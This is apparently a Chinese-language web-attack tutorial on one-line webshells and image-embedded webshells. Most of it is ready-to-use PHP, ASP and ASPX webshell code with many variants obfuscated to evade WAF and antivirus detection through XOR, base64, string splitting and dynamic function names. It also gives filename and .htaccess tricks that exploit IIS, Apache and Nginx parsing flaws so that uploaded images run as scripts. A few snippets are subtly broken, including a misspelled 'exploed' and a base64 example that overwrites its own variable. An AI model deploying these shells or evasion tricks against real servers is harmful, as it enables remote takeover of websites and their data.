一句话及图片码

一句话木马

就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形,但本质是不变的:木马的函数执行了我们发送的命令。

一句话木马基本形态

1
2
3
4
5
6
7
8
9
/*asp一句话木马*/
<%execute(request("value"))%>

/*php一句话木马*/
<?php@eval($_POST['123']);?>

/*aspx一句话木马*/
<%@Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

一句话木马使用方式及变形绕过

一句话木马可以是单独的文件,通过文件上传发送到服务器,或者通过命令执行远程写入文件。也可以在服务器中的文件中写入一句话代码。随后可以使用菜刀等工具进行远程连接。

(双变量绕过)

1
2
<?php @eval($_POST['value']);?>这个一句话木马中eval可以成为防御方过滤的目标,所以相对应的我们可以在代码中不出现eval关键字,改写成如下形式:
<?php $_GET['a']($_POST['b'])?>这样同时传递两个变量,将eval作为参数传递进去。

(字符串变形绕过)

1
2
3
4
5
6
用substr_replace()函数变形assert达到免杀的效果

<?php
$a=substr_replace("assexx","rt",4);
$a($_POST['x']);
?>

(定义函数绕过)

1
2
3
4
5
6
7
定义一个函数把关键词分割达到 bypass效果
<?php
function kdog($a){
$a($_POST['x']);
}
kdog(assert);
?>

(特殊字符干扰绕过)

1
2
3
4
5
6
7
特殊字符干扰,要求是能干扰到杀软的正则判断,还要代码能执行,网上广为流传的连接符初代版本

<?php
$a=$_REQUEST['a'];
$b=null;
eval($b.$a);
?>
1
2
3
4
5
<?php
$a=$_POST['a'];
$b="\n";
eval($b.=$a);
?>

(PHP对字符串变形的函数)

1
2
3
4
5
6
7
8
9
10
ucwords()//函数把字符串中每个单词的首字符转换为大写。
ucfirst()//函数把字符串中的首字符转换为大写。
trim()//函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace()//函数把字符串的一部分替换为另一个字符串
substr()//函数返回字符串的一部分。
strtr()//函数转换字符串中特定的字符。
strtoupper()//函数把字符串转换为大写。
strtolower()//函数把字符串转换为小写。
strtok()//函数把字符串分割为更小的字符串
str_rot13()//函数对字符串执行ROT13编码。

(编码绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
用php的编码函数,或者用异或等等
简单的base64_decode,可以加入一些下划线干扰杀软

<?php
$a=base64_decode("YXNz+ZX___j___0");
$a=($_POST[x]);
?>

异或

<?php
$a=("!"^"@").'ssert';
$a($_POST[x]);
?>

(无字符特征马绕过)

1
2
3
4
5
6
7
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //
$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //$__='_POST';
$___=$$__;
$_($___[_]); //assert($_POST[_]);
?>
1
2
3
4
5
6
<?php
$decrpt=$_POST['x'];
$arrs=exploed("|",$decrpt)[1];
$arrs=explode("|",base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);
?>

一句话木马变形总结

特别提醒:

自php7.1后,assert函数被弃用,现在越来越多的人可能更倾向使用大马而非一句话木马。

图片马

发展史

1
需要注意的是即使图片马成功上传,因为后缀是图片格式,正常情况下不能被当作脚本执行,图片马也就不会生效,后面需要通过截断,解析漏洞等方式将图片马以脚本的格式解析才能使图片马生效。

制作图片马

1
图片马中的一句话代码可以写多种脚本格式。如php、asp、jsp等。这样增加了图片马的通用性。无论网站是哪种脚本语言都可以上传
1
小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者iis的低版本解析漏洞来运行,不过功能少,一般只有上传等功能。传小马更多的是为了通过小马上传大马
1
大马体积比较大,一般5OK以上,功能也多,一般都包括提权命令,磁盘管理,数据库连接接口,执行命令等功能,这种马隐蔽性不好,容易被杀毒软件等查杀。

文件上传漏洞简介

1
2
3
在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。

文件上传漏洞对Web应用来说是一种非常严重的漏洞。一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。

高危触发点

中间件解析漏洞

三种常见中间件解析漏洞

1
2
3
4
5
6
7
IIS5.X - IIS6.x :
/xx.asp/xx.jpg
xx.asp;.jpg
test.asa test.cer test.cdx

IIS7.5:
a.aspx.a;.a.aspx.jpg..jpg
1
2
3
test.php.php123   是从右到左开始判断解析
AddHandler php5-script.php test2.php.jpg
AddType application/x-httpd-php.jpg #即使扩展名为jpg,一样能以php的方式运行
1
2
3
4
5
6
7
xxx.jpg%00.php
(Nginx <8.03 空字节代码执行漏洞)

fix_pathinfo
/1.jpg/1.php
/1.jpg%00.php
/1.jpg/%20\0.php

IIS常见版本

1
2
3
4
6.0      一般服务器为windows server 2003
7.0/7.5 一般服务器为windows server 2008
8.0/8.5 一般服务器为windows server 2012
10.0 一般服务器为windows server 2016

IIS5.x / 6.0解析漏洞(两种方法)

1
2
3
4
5
1. 在网站下建立文件夹名字为.asp.asa的文件夹,其目录内的任何扩展名的文件都被IIS当成asp文件来解析执行。目录解析一般是配合编辑器进行使用,如ckfinder,fck

2. 文件解析ly.asp;.jpg asa,cer,cdx
在IIS6.0下,服务器默认不解析分号后面的内容,因此该文件被当作asp文件解析。
IIS6.0下默认的可执行文件除了asp还包含asa,cer,cdxasa在IIS7.0,7.5也可以。cer在7.0下有的可以有的不行。

IIS7.0/IIS7.5/Nginx<8.03 畸形解析漏洞

1
2
3
4
5
6
在Fast-CGI开启状态下,可以上传一个例如ly.jpg,内容为<?php fputs(fopen('shell.php''w'),<?php
eval($_POST[cmd])?>');?>的文件。然后访问ly.jpg/.php,
在这个目录下就会生成一句话木马shell.php
注意:只要是llS的支持PHP的都可以在图片后面加/.php看是否能运行。lis7.5/10.0都可能会被执行。这个漏洞准确的说不是中间件的漏洞,而是PHP的解析漏洞。


Apache解析漏洞

1
apache是从右往左开始判断解析,如果为不可识别解析,就再往左判断。比如x.php.zz,因为后缀是”.zz”不可被apache识别解析,所以会再往左解析,将该文件解析为x.php
1
如果在Apache中.htaccess可被执行,且可以被上传,那可以尝试在.htaccess中写入:SetHandler application/x-httpd-php然后再上传任意后缀名的木马,这样均会被当成php解析